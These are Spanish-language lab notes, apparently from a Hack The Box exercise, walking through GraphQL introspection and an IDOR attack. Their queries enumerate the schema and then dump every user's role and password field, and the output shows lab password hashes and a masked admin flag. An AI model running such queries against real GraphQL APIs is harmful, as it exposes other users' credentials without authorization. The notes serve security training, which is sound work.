Para identificar problemas relacionados con autorizaciones defectuosas, primero debemos identificar posibles puntos de ataque que nos permitan acceder a datos para los que no tenemos autorización. Al enumerar la aplicación web, podemos observar que se envía la siguiente consulta GraphQL cuando accedemos a nuestro perfil de usuario:
Exploiting IDOR
c
{
__type(name: "UserObject") {
name
fields {
name
type {
name
kind
}
}
}
}c
{
user(username: "test") {
username
password
}
}Ejercicio:
- Obtener detalles de los argumentos:
c
{
__schema {
queryType {
fields {
name
args {
name
type {
name
}
}
type {
name
kind
}
}
}
}
}- Output
c
{
"data": {
"__schema": {
"queryType": {
"fields": [
{
"name": "node",
"args": [
{
"name": "id",
"type": {
"name": null
}
}
],
"type": {
"name": "Node",
"kind": "INTERFACE"
}
},
{
"name": "secrets",
"args": [],
"type": {
"name": null,
"kind": "LIST"
}
},
{
"name": "users",
"args": [],
"type": {
"name": null,
"kind": "LIST"
}
},
{
"name": "posts",
"args": [],
"type": {
"name": null,
"kind": "LIST"
}
},
{
"name": "user",
"args": [
{
"name": "username",
"type": {
"name": null
}
}
],
"type": {
"name": "UserObject",
"kind": "OBJECT"
}
},
{
"name": "postByAuthor",
"args": [
{
"name": "author",
"type": {
"name": null
}
}
],
"type": {
"name": null,
"kind": "LIST"
}
},
{
"name": "post",
"args": [
{
"name": "id",
"type": {
"name": null
}
}
],
"type": {
"name": "PostObject",
"kind": "OBJECT"
}
}
]
}
}
}
}Ahoa tenemos esto:
c
{
"name": "user",
"args": [
{
"name": "username",
"type": {
"name": null
}
}
],
"type": {
"name": "UserObject",
"kind": "OBJECT"
}
},de lo cual ejecutaremos:
c
{
__type(name: "UserObject") {
name
fields {
name
type {
name
kind
}
}
}
}Para obtener los argumentos de user
c
{
"data": {
"__type": {
"name": "UserObject",
"fields": [
{
"name": "uuid",
"type": {
"name": null,
"kind": "NON_NULL"
}
},
{
"name": "id",
"type": {
"name": null,
"kind": "NON_NULL"
}
},
{
"name": "username",
"type": {
"name": "String",
"kind": "SCALAR"
}
},
{
"name": "password",
"type": {
"name": "String",
"kind": "SCALAR"
}
},
{
"name": "role",
"type": {
"name": "String",
"kind": "SCALAR"
}
},
{
"name": "msg",
"type": {
"name": "String",
"kind": "SCALAR"
}
},
{
"name": "posts",
"type": {
"name": "PostObjectConnection",
"kind": "OBJECT"
}
}
]
}
}
}Teniendo todos los parámetro podemos obtener la info completa de los usuarios:
c
{
users {
id
uuid
username
role
msg
password
}
}c
{
"data": {
"users": [
{
"id": "VXNlck9iamVjdDox",
"uuid": "1",
"username": "htb-stdnt",
"role": "user",
"msg": "Welcome!",
"password": "c874441baa22306df202ca127f23d3a7"
},
{
"id": "VXNlck9iamVjdDoy",
"uuid": "2",
"username": "test",
"role": "user",
"msg": "Test",
"password": "b4574701cdf945940353b356925dddb7"
},
{
"id": "VXNlck9iamVjdDoz",
"uuid": "3",
"username": "admin",
"role": "admin",
"msg": "Hello admin!",
"password": "HTB{******}"
}
]
}
}